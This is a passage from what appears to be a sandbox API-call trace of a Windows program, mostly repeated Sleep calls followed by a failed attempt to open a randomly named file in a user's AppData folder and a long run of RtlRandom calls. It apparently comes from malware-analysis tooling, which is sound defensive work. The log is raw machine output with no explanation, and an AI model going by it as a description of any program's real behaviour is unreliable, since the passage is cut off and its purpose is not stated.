(dwMilliseconds=0x258) [0204.998] Sleep (dwMilliseconds=0x258) [0205.000] Sleep (dwMilliseconds=0x258) [0205.001] Sleep (dwMilliseconds=0x258) [0205.003] Sleep (dwMilliseconds=0x258) [0205.005] Sleep (dwMilliseconds=0x258) [0205.007] Sleep (dwMilliseconds=0x258) [0205.010] Sleep (dwMilliseconds=0x258) [0205.012] Sleep (dwMilliseconds=0x258) [0205.095] Sleep (dwMilliseconds=0x258) [0205.096] Sleep (dwMilliseconds=0x258) [0205.122] Sleep (dwMilliseconds=0x258) [0205.124] Sleep (dwMilliseconds=0x258) [0205.125] Sleep (dwMilliseconds=0x258) [0205.127] Sleep (dwMilliseconds=0x258) [0205.128] Sleep (dwMilliseconds=0x258) [0205.130] Sleep (dwMilliseconds=0x258) [0205.131] Sleep (dwMilliseconds=0x258) [0205.133] Sleep (dwMilliseconds=0x258) [0205.134] Sleep (dwMilliseconds=0x258) [0205.136] Sleep (dwMilliseconds=0x258) [0205.137] Sleep (dwMilliseconds=0x258) [0205.139] Sleep (dwMilliseconds=0x258) [0205.455] Sleep (dwMilliseconds=0x258) [0205.530] Sleep (dwMilliseconds=0x258) [0205.532] Sleep (dwMilliseconds=0x258) [0205.588] Sleep (dwMilliseconds=0x258) [0205.590] Sleep (dwMilliseconds=0x258) [0205.592] Sleep (dwMilliseconds=0x258) [0205.593] Sleep (dwMilliseconds=0x258) [0205.597] Sleep (dwMilliseconds=0x258) [0205.605] Sleep (dwMilliseconds=0x258) [0205.609] Sleep (dwMilliseconds=0x258) [0205.611] Sleep (dwMilliseconds=0x258) [0205.614] Sleep (dwMilliseconds=0x258) [0205.616] Sleep (dwMilliseconds=0x258) [0205.617] Sleep (dwMilliseconds=0x258) [0205.619] Sleep (dwMilliseconds=0x258) [0205.694] Sleep (dwMilliseconds=0x258) [0205.741] Sleep (dwMilliseconds=0x258) [0205.743] Sleep (dwMilliseconds=0x258) [0205.744] Sleep (dwMilliseconds=0x258) [0205.746] Sleep (dwMilliseconds=0x258) [0205.749] Sleep (dwMilliseconds=0x258) [0205.751] Sleep (dwMilliseconds=0x258) [0205.753] Sleep (dwMilliseconds=0x258) [0205.754] Sleep (dwMilliseconds=0x258) [0205.756] Sleep (dwMilliseconds=0x258) [0205.757] Sleep (dwMilliseconds=0x258) [0205.759] Sleep (dwMilliseconds=0x258) [0205.760] Sleep (dwMilliseconds=0x258) [0205.762] Sleep (dwMilliseconds=0x258) [0205.763] Sleep (dwMilliseconds=0x258) [0205.768] Sleep (dwMilliseconds=0x258) [0205.770] Sleep (dwMilliseconds=0x258) [0205.839] Sleep (dwMilliseconds=0x258) [0205.841] Sleep (dwMilliseconds=0x258) [0205.880] Sleep (dwMilliseconds=0x258) [0205.882] Sleep (dwMilliseconds=0x258) [0205.883] Sleep (dwMilliseconds=0x258) [0205.884] Sleep (dwMilliseconds=0x258) [0205.886] Sleep (dwMilliseconds=0x258) [0205.888] Sleep (dwMilliseconds=0x258) [0205.889] Sleep (dwMilliseconds=0x258) [0205.891] Sleep (dwMilliseconds=0x258) [0205.893] Sleep (dwMilliseconds=0x258) [0205.895] Sleep (dwMilliseconds=0x258) [0205.896] Sleep (dwMilliseconds=0x258) [0205.900] Sleep (dwMilliseconds=0x258) [0205.902] Sleep (dwMilliseconds=0x258) [0205.904] Sleep (dwMilliseconds=0x258) [0205.906] Sleep (dwMilliseconds=0x258) [0205.907] Sleep (dwMilliseconds=0x258) [0205.909] Sleep (dwMilliseconds=0x258) [0205.975] Sleep (dwMilliseconds=0x258) [0205.978] Sleep (dwMilliseconds=0x258) [0206.032] Sleep (dwMilliseconds=0x258) [0206.033] Sleep (dwMilliseconds=0x258) [0206.035] Sleep (dwMilliseconds=0x258) [0206.037] Sleep (dwMilliseconds=0x258) [0206.038] Sleep (dwMilliseconds=0x258) [0206.039] Sleep (dwMilliseconds=0x258) [0206.041] Sleep (dwMilliseconds=0x258) [0206.079] Sleep (dwMilliseconds=0x258) [0206.127] Sleep (dwMilliseconds=0x258) [0206.291] Sleep (dwMilliseconds=0x258) [0206.395] Sleep (dwMilliseconds=0x258) [0206.422] Sleep (dwMilliseconds=0x258) [0206.503] Sleep (dwMilliseconds=0x258) [0206.652] Sleep (dwMilliseconds=0x258) [0206.657] Sleep (dwMilliseconds=0x258) [0206.666] Sleep (dwMilliseconds=0x258) [0207.401] Sleep (dwMilliseconds=0x258) [0207.402] Sleep (dwMilliseconds=0x258) [0207.441] Sleep (dwMilliseconds=0x258) [0207.442] Sleep (dwMilliseconds=0x258) [0207.449] Sleep (dwMilliseconds=0x258) [0207.450] Sleep (dwMilliseconds=0x258) [0207.451] Sleep (dwMilliseconds=0x258) [0207.453] Sleep (dwMilliseconds=0x258) [0207.455] Sleep (dwMilliseconds=0x258) [0207.457] Sleep (dwMilliseconds=0x258) [0207.458] Sleep (dwMilliseconds=0x258) [0207.460] Sleep (dwMilliseconds=0x258) [0207.503] Sleep (dwMilliseconds=0x258) [0207.575] Sleep (dwMilliseconds=0x258) [0207.611] Sleep (dwMilliseconds=0x258) [0207.616] Sleep (dwMilliseconds=0x258) [0207.846] Sleep (dwMilliseconds=0x258) [0207.969] Sleep (dwMilliseconds=0x258) [0208.001] Sleep (dwMilliseconds=0x258) [0208.002] Sleep (dwMilliseconds=0x258) [0208.008] Sleep (dwMilliseconds=0x258) [0208.009] Sleep (dwMilliseconds=0x258) [0208.012] Sleep (dwMilliseconds=0x258) [0208.013] Sleep (dwMilliseconds=0x258) [0208.014] Sleep (dwMilliseconds=0x258) [0208.016] Sleep (dwMilliseconds=0x258) [0208.018] Sleep (dwMilliseconds=0x258) [0208.019] Sleep (dwMilliseconds=0x258) [0208.020] Sleep (dwMilliseconds=0x258) [0208.022] Sleep (dwMilliseconds=0x258) [0208.023] Sleep (dwMilliseconds=0x258) [0208.025] Sleep (dwMilliseconds=0x258) [0208.026] Sleep (dwMilliseconds=0x258) [0208.028] Sleep (dwMilliseconds=0x258) [0208.029] Sleep (dwMilliseconds=0x258) [0208.031] Sleep (dwMilliseconds=0x258) [0208.097] Sleep (dwMilliseconds=0x258) [0208.142] Sleep (dwMilliseconds=0x258) [0208.145] Sleep (dwMilliseconds=0x258) [0208.147] Sleep (dwMilliseconds=0x258) [0208.149] Sleep (dwMilliseconds=0x258) [0208.151] Sleep (dwMilliseconds=0x258) [0208.152] Sleep (dwMilliseconds=0x258) [0208.154] Sleep (dwMilliseconds=0x258) [0208.155] Sleep (dwMilliseconds=0x258) [0208.157] Sleep (dwMilliseconds=0x258) [0208.158] Sleep (dwMilliseconds=0x258) [0208.160] Sleep (dwMilliseconds=0x258) [0208.161] Sleep (dwMilliseconds=0x258) [0208.163] Sleep (dwMilliseconds=0x258) [0208.164] Sleep (dwMilliseconds=0x258) [0208.166] Sleep (dwMilliseconds=0x258) [0208.167] Sleep (dwMilliseconds=0x258) [0208.169] Sleep (dwMilliseconds=0x258) [0208.170] Sleep (dwMilliseconds=0x258) [0208.223] Sleep (dwMilliseconds=0x258) [0208.225] Sleep (dwMilliseconds=0x258) [0208.282] Sleep (dwMilliseconds=0x258) [0208.284] Sleep (dwMilliseconds=0x258) [0208.286] Sleep (dwMilliseconds=0x258) [0208.288] Sleep (dwMilliseconds=0x258) [0208.289] Sleep (dwMilliseconds=0x258) [0208.291] Sleep (dwMilliseconds=0x258) [0208.295] Sleep (dwMilliseconds=0x258) [0208.296] Sleep (dwMilliseconds=0x258) [0208.301] Sleep (dwMilliseconds=0x258) [0208.305] Sleep (dwMilliseconds=0x258) [0208.308] Sleep (dwMilliseconds=0x258) [0208.313] Sleep (dwMilliseconds=0x258) [0208.349] Sleep (dwMilliseconds=0x258) [0208.425] Sleep (dwMilliseconds=0x258) [0208.427] Sleep (dwMilliseconds=0x258) [0208.456] Sleep (dwMilliseconds=0x258) [0208.479] Sleep (dwMilliseconds=0x258) [0208.506] Sleep (dwMilliseconds=0x258) [0208.589] Sleep (dwMilliseconds=0x258) [0208.591] Sleep (dwMilliseconds=0x258) [0208.593] Sleep (dwMilliseconds=0x258) [0208.594] Sleep (dwMilliseconds=0x258) [0208.596] Sleep (dwMilliseconds=0x258) [0208.597] Sleep (dwMilliseconds=0x258) [0208.599] Sleep (dwMilliseconds=0x258) [0208.600] Sleep (dwMilliseconds=0x258) [0208.602] Sleep (dwMilliseconds=0x258) [0208.603] Sleep (dwMilliseconds=0x258) [0208.604] Sleep (dwMilliseconds=0x258) [0208.606] Sleep (dwMilliseconds=0x258) [0208.608] Sleep (dwMilliseconds=0x258) [0208.609] Sleep (dwMilliseconds=0x258) [0208.611] Sleep (dwMilliseconds=0x258) [0208.612] Sleep (dwMilliseconds=0x258) [0208.614] Sleep (dwMilliseconds=0x258) [0208.615] Sleep (dwMilliseconds=0x258) [0208.618] Sleep (dwMilliseconds=0x258) [0208.628] Sleep (dwMilliseconds=0x258) [0208.743] Sleep (dwMilliseconds=0x258) [0208.746] Sleep (dwMilliseconds=0x258) [0208.747] Sleep (dwMilliseconds=0x258) [0208.749] Sleep (dwMilliseconds=0x258) [0208.750] Sleep (dwMilliseconds=0x258) [0208.752] Sleep (dwMilliseconds=0x258) [0208.754] Sleep (dwMilliseconds=0x258) [0208.755] Sleep (dwMilliseconds=0x258) [0208.757] Sleep (dwMilliseconds=0x258) [0208.758] Sleep (dwMilliseconds=0x258) [0208.760] Sleep (dwMilliseconds=0x258) [0208.762] Sleep (dwMilliseconds=0x258) [0208.764] Sleep (dwMilliseconds=0x258) [0208.765] Sleep (dwMilliseconds=0x258) [0208.767] Sleep (dwMilliseconds=0x258) [0208.768] Sleep (dwMilliseconds=0x258) [0208.770] Sleep (dwMilliseconds=0x258) [0208.771] Sleep (dwMilliseconds=0x258) [0208.773] Sleep (dwMilliseconds=0x258) [0208.775] Sleep (dwMilliseconds=0x258) [0208.778] Sleep (dwMilliseconds=0x258) [0208.882] Sleep (dwMilliseconds=0x258) [0208.893] Sleep (dwMilliseconds=0x258) [0208.897] Sleep (dwMilliseconds=0x258) [0208.900] Sleep (dwMilliseconds=0x258) [0208.903] Sleep (dwMilliseconds=0x258) [0208.905] Sleep (dwMilliseconds=0x258) [0209.022] Sleep (dwMilliseconds=0x258) [0209.122] Sleep (dwMilliseconds=0x258) [0209.134] Sleep (dwMilliseconds=0x258) [0209.135] Sleep (dwMilliseconds=0x258) [0209.146] Sleep (dwMilliseconds=0x258) [0209.149] Sleep (dwMilliseconds=0x258) [0209.151] Sleep (dwMilliseconds=0x258) [0209.188] Sleep (dwMilliseconds=0x258) [0209.295] Sleep (dwMilliseconds=0x258) [0209.305] Sleep (dwMilliseconds=0x258) [0209.312] Sleep (dwMilliseconds=0x258) [0209.315] Sleep (dwMilliseconds=0x258) [0209.317] Sleep (dwMilliseconds=0x258) [0209.319] Sleep (dwMilliseconds=0x258) [0209.335] Sleep (dwMilliseconds=0x258) [0210.251] Sleep (dwMilliseconds=0x258) [0210.291] Sleep (dwMilliseconds=0x258) [0210.292] Sleep (dwMilliseconds=0x258) [0210.294] Sleep (dwMilliseconds=0x258) [0210.295] Sleep (dwMilliseconds=0x258) [0210.301] Sleep (dwMilliseconds=0x258) [0210.310] Sleep (dwMilliseconds=0x258) [0210.312] Sleep (dwMilliseconds=0x258) [0210.321] Sleep (dwMilliseconds=0x258) [0211.200] Sleep (dwMilliseconds=0x258) [0211.202] Sleep (dwMilliseconds=0x258) [0211.203] Sleep (dwMilliseconds=0x258) [0211.204] Sleep (dwMilliseconds=0x258) [0211.310] Sleep (dwMilliseconds=0x258) [0211.450] Sleep (dwMilliseconds=0x258) [0211.563] Sleep (dwMilliseconds=0x258) [0211.565] Sleep (dwMilliseconds=0x258) [0211.566] Sleep (dwMilliseconds=0x258) [0211.570] Sleep (dwMilliseconds=0x258) [0211.572] Sleep (dwMilliseconds=0x258) [0211.573] Sleep (dwMilliseconds=0x258) [0211.577] Sleep (dwMilliseconds=0x258) [0211.578] Sleep (dwMilliseconds=0x258) [0211.580] Sleep (dwMilliseconds=0x258) [0211.581] Sleep (dwMilliseconds=0x258) [0211.583] Sleep (dwMilliseconds=0x258) [0211.584] Sleep (dwMilliseconds=0x258) [0211.586] Sleep (dwMilliseconds=0x258) [0211.587] Sleep (dwMilliseconds=0x258) [0211.589] Sleep (dwMilliseconds=0x258) [0211.717] Sleep (dwMilliseconds=0x258) [0211.745] Sleep (dwMilliseconds=0x258) [0211.818] Sleep (dwMilliseconds=0x258) [0211.906] Sleep (dwMilliseconds=0x258) [0212.059] Sleep (dwMilliseconds=0x258) [0212.164] Sleep (dwMilliseconds=0x258) [0212.258] Sleep (dwMilliseconds=0x258) [0212.357] Sleep (dwMilliseconds=0x258) [0212.411] Sleep (dwMilliseconds=0x258) [0212.413] Sleep (dwMilliseconds=0x258) [0212.423] Sleep (dwMilliseconds=0x258) [0213.281] Sleep (dwMilliseconds=0x258) [0213.283] Sleep (dwMilliseconds=0x258) [0213.289] Sleep (dwMilliseconds=0x258) [0213.304] Sleep (dwMilliseconds=0x258) [0214.220] Sleep (dwMilliseconds=0x258) [0214.259] Sleep (dwMilliseconds=0x258) [0214.331] Sleep (dwMilliseconds=0x258) [0214.332] Sleep (dwMilliseconds=0x258) [0214.334] Sleep (dwMilliseconds=0x258) [0214.335] Sleep (dwMilliseconds=0x258) [0214.337] Sleep (dwMilliseconds=0x258) [0214.338] Sleep (dwMilliseconds=0x258) [0214.341] Sleep (dwMilliseconds=0x258) [0214.384] Sleep (dwMilliseconds=0x258) [0214.443] Sleep (dwMilliseconds=0x258) [0214.444] Sleep (dwMilliseconds=0x258) [0214.497] Sleep (dwMilliseconds=0x258) [0214.499] Sleep (dwMilliseconds=0x258) [0214.501] Sleep (dwMilliseconds=0x258) [0214.503] Sleep (dwMilliseconds=0x258) [0214.505] Sleep (dwMilliseconds=0x258) [0214.550] Sleep (dwMilliseconds=0x258) [0214.616] Sleep (dwMilliseconds=0x258) [0214.617] Sleep (dwMilliseconds=0x258) [0214.661] Sleep (dwMilliseconds=0x258) [0214.663] Sleep (dwMilliseconds=0x258) [0214.664] Sleep (dwMilliseconds=0x258) [0214.666] Sleep (dwMilliseconds=0x258) [0214.667] Sleep (dwMilliseconds=0x258) [0214.669] Sleep (dwMilliseconds=0x258) [0214.684] Sleep (dwMilliseconds=0x258) [0215.397] Sleep (dwMilliseconds=0x258) [0215.480] Sleep (dwMilliseconds=0x258) [0215.494] Sleep (dwMilliseconds=0x258) [0215.503] Sleep (dwMilliseconds=0x258) [0215.585] Sleep (dwMilliseconds=0x258) [0215.690] Sleep (dwMilliseconds=0x258) [0215.697] Sleep (dwMilliseconds=0x258) [0215.699] Sleep (dwMilliseconds=0x258) [0215.700] Sleep (dwMilliseconds=0x258) [0215.702] Sleep (dwMilliseconds=0x258) [0215.703] Sleep (dwMilliseconds=0x258) [0215.705] Sleep (dwMilliseconds=0x258) [0215.781] Sleep (dwMilliseconds=0x258) [0215.965] Sleep (dwMilliseconds=0x258) [0216.232] Sleep (dwMilliseconds=0x258) [0216.289] Sleep (dwMilliseconds=0x258) [0216.308] Sleep (dwMilliseconds=0x258) [0216.376] Sleep (dwMilliseconds=0x258) [0216.446] Sleep (dwMilliseconds=0x258) [0216.491] Sleep (dwMilliseconds=0x258) [0216.493] Sleep (dwMilliseconds=0x258) [0216.494] Sleep (dwMilliseconds=0x258) [0216.496] Sleep (dwMilliseconds=0x258) [0216.497] Sleep (dwMilliseconds=0x258) [0216.499] Sleep (dwMilliseconds=0x258) [0216.500] Sleep (dwMilliseconds=0x258) [0216.502] Sleep (dwMilliseconds=0x258) [0216.503] Sleep (dwMilliseconds=0x258) [0216.505] Sleep (dwMilliseconds=0x258) [0216.506] Sleep (dwMilliseconds=0x258) [0216.508] Sleep (dwMilliseconds=0x258) [0216.509] Sleep (dwMilliseconds=0x258) [0216.511] Sleep (dwMilliseconds=0x258) [0216.512] Sleep (dwMilliseconds=0x258) [0216.515] Sleep (dwMilliseconds=0x258) [0216.516] Sleep (dwMilliseconds=0x258) [0216.518] Sleep (dwMilliseconds=0x258) [0216.519] Sleep (dwMilliseconds=0x258) [0216.577] Sleep (dwMilliseconds=0x258) [0216.579] Sleep (dwMilliseconds=0x258) [0216.629] Sleep (dwMilliseconds=0x258) [0216.630] Sleep (dwMilliseconds=0x258) [0216.632] Sleep (dwMilliseconds=0x258) [0216.636] Sleep (dwMilliseconds=0x258) [0216.637] Sleep (dwMilliseconds=0x258) [0216.639] Sleep (dwMilliseconds=0x258) [0216.640] Sleep (dwMilliseconds=0x258) [0216.642] Sleep (dwMilliseconds=0x258) [0216.643] Sleep (dwMilliseconds=0x258) [0216.645] Sleep (dwMilliseconds=0x258) [0216.646] Sleep (dwMilliseconds=0x258) [0216.649] Sleep (dwMilliseconds=0x258) [0216.650] Sleep (dwMilliseconds=0x258) [0216.651] Sleep (dwMilliseconds=0x258) [0216.653] Sleep (dwMilliseconds=0x258) [0216.656] Sleep (dwMilliseconds=0x258) [0216.657] Sleep (dwMilliseconds=0x258) [0216.659] Sleep (dwMilliseconds=0x258) [0216.706] Sleep (dwMilliseconds=0x258) [0216.719] Sleep (dwMilliseconds=0x258) [0217.483] Sleep (dwMilliseconds=0x258) [0217.493] Sleep (dwMilliseconds=0x258) [0218.138] Sleep (dwMilliseconds=0x258) [0218.139] Sleep (dwMilliseconds=0x258) [0218.141] Sleep (dwMilliseconds=0x258) [0218.142] Sleep (dwMilliseconds=0x258) [0218.144] Sleep (dwMilliseconds=0x258) [0218.145] Sleep (dwMilliseconds=0x258) [0218.147] Sleep (dwMilliseconds=0x258) [0218.227] Sleep (dwMilliseconds=0x258) [0218.289] Sleep (dwMilliseconds=0x258) [0218.357] Sleep (dwMilliseconds=0x258) [0218.417] Sleep (dwMilliseconds=0x258) [0218.568] Sleep (dwMilliseconds=0x258) [0218.623] Sleep (dwMilliseconds=0x258) [0218.732] Sleep (dwMilliseconds=0x258) [0218.787] Sleep (dwMilliseconds=0x258) [0218.931] Sleep (dwMilliseconds=0x258) [0218.973] Sleep (dwMilliseconds=0x258) [0219.002] Sleep (dwMilliseconds=0x258) [0219.073] Sleep (dwMilliseconds=0x258) [0219.099] Sleep (dwMilliseconds=0x258) [0219.134] Sleep (dwMilliseconds=0x258) [0219.164] Sleep (dwMilliseconds=0x258) [0219.244] Sleep (dwMilliseconds=0x258) [0219.246] Sleep (dwMilliseconds=0x258) [0219.247] Sleep (dwMilliseconds=0x258) [0219.257] Sleep (dwMilliseconds=0x258) [0219.258] Sleep (dwMilliseconds=0x258) [0219.263] Sleep (dwMilliseconds=0x258) [0219.266] Sleep (dwMilliseconds=0x258) [0219.299] Sleep (dwMilliseconds=0x258) [0219.323] Sleep (dwMilliseconds=0x258) [0219.425] Sleep (dwMilliseconds=0x258) [0219.477] Sleep (dwMilliseconds=0x258) [0220.134] Sleep (dwMilliseconds=0x258) [0220.136] Sleep (dwMilliseconds=0x258) [0220.146] Sleep (dwMilliseconds=0x258) [0220.154] Sleep (dwMilliseconds=0x258) [0220.163] Sleep (dwMilliseconds=0x258) [0220.164] Sleep (dwMilliseconds=0x258) [0220.172] Sleep (dwMilliseconds=0x258) [0220.179] Sleep (dwMilliseconds=0x258) [0220.317] Sleep (dwMilliseconds=0x258) [0220.319] Sleep (dwMilliseconds=0x258) [0220.372] Sleep (dwMilliseconds=0x258) [0220.374] Sleep (dwMilliseconds=0x258) [0220.376] Sleep (dwMilliseconds=0x258) [0220.379] Sleep (dwMilliseconds=0x258) [0220.381] Sleep (dwMilliseconds=0x258) [0220.383] Sleep (dwMilliseconds=0x258) [0220.387] Sleep (dwMilliseconds=0x258) [0220.416] Sleep (dwMilliseconds=0x258) [0220.582] Sleep (dwMilliseconds=0x258) [0220.583] Sleep (dwMilliseconds=0x258) [0220.608] Sleep (dwMilliseconds=0x258) [0220.610] Sleep (dwMilliseconds=0x258) [0220.623] Sleep (dwMilliseconds=0x258) [0220.625] Sleep (dwMilliseconds=0x258) [0220.640] Sleep (dwMilliseconds=0x258) [0220.753] Sleep (dwMilliseconds=0x258) [0220.767] Sleep (dwMilliseconds=0x258) [0220.792] Sleep (dwMilliseconds=0x258) [0220.794] Sleep (dwMilliseconds=0x258) [0220.796] Sleep (dwMilliseconds=0x258) [0220.797] Sleep (dwMilliseconds=0x258) [0220.799] Sleep (dwMilliseconds=0x258) [0220.801] Sleep (dwMilliseconds=0x258) [0220.802] Sleep (dwMilliseconds=0x258) [0220.804] Sleep (dwMilliseconds=0x258) [0220.806] Sleep (dwMilliseconds=0x258) [0220.807] Sleep (dwMilliseconds=0x258) [0220.823] Sleep (dwMilliseconds=0x258) [0220.915] Sleep (dwMilliseconds=0x258) [0220.930] Sleep (dwMilliseconds=0x258) [0220.949] Sleep (dwMilliseconds=0x258) [0220.951] Sleep (dwMilliseconds=0x258) [0220.952] Sleep (dwMilliseconds=0x258) [0220.954] Sleep (dwMilliseconds=0x258) [0220.957] Sleep (dwMilliseconds=0x258) [0220.961] Sleep (dwMilliseconds=0x258) [0220.963] Sleep (dwMilliseconds=0x258) [0220.964] Sleep (dwMilliseconds=0x258) [0220.966] Sleep (dwMilliseconds=0x258) [0220.967] Sleep (dwMilliseconds=0x258) [0220.969] Sleep (dwMilliseconds=0x258) [0220.970] Sleep (dwMilliseconds=0x258) [0220.972] Sleep (dwMilliseconds=0x258) [0220.973] Sleep (dwMilliseconds=0x258) [0220.975] Sleep (dwMilliseconds=0x258) [0220.976] Sleep (dwMilliseconds=0x258) [0220.978] Sleep (dwMilliseconds=0x258) [0220.980] Sleep (dwMilliseconds=0x258) [0221.075] Sleep (dwMilliseconds=0x258) [0221.087] Sleep (dwMilliseconds=0x258) [0221.089] Sleep (dwMilliseconds=0x258) [0221.091] Sleep (dwMilliseconds=0x258) [0221.092] Sleep (dwMilliseconds=0x258) [0221.095] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x26) returned 0x9141840 [0221.095] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0221.095] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb2d7788 [0221.095] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x98) returned 0x9140720 [0221.095] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1c6a68db [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7d875d30 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb4106d65 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x90399966 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe87ba8c4 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x599b519a [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8a8c8b9 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc75ac9 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2f4c3ccc [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x18cf9830 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1627c2a3 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36322484 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ac1dac [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x96af7d80 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9ee8dcf8 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe61b7a48 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8530ee50 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x53fb28b1 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd153d91d [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe40a3192 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaa6abb6f [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb172f158 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x38cb779e [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb525bc86 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6b1e79ba [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa635620 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x70bb177a [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2df4b9e6 [0221.096] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8bcbac20 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd7637c98 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x25c9efc2 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe6af519b [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d355677 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x47eff168 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x88d87f68 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd97ea037 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfebf521b [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2a98da4 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x515ecf97 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf3b04c9f [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x890fb3ed [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x91c6a956 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ec451d4 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdb2891a8 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x99b1a850 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f7b5657 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe7267b8a [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbd27beb7 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc9a29e09 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x82aca241 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x45be32f1 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54cf0f18 [0221.097] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9dc07f92 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf2225589 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1ad89eb1 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd55fe4ea [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4093ad75 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f8a37e3 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x627d1897 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe0d149d [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36b18c10 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9310bd57 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe2cadfd3 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xba5bde6 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfeed770f [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x229ef445 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda2a5c64 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x25c5043d [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c63f1e7 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe55d75eb [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x38d2c150 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xddd8e3c0 [0221.098] RtlRandom 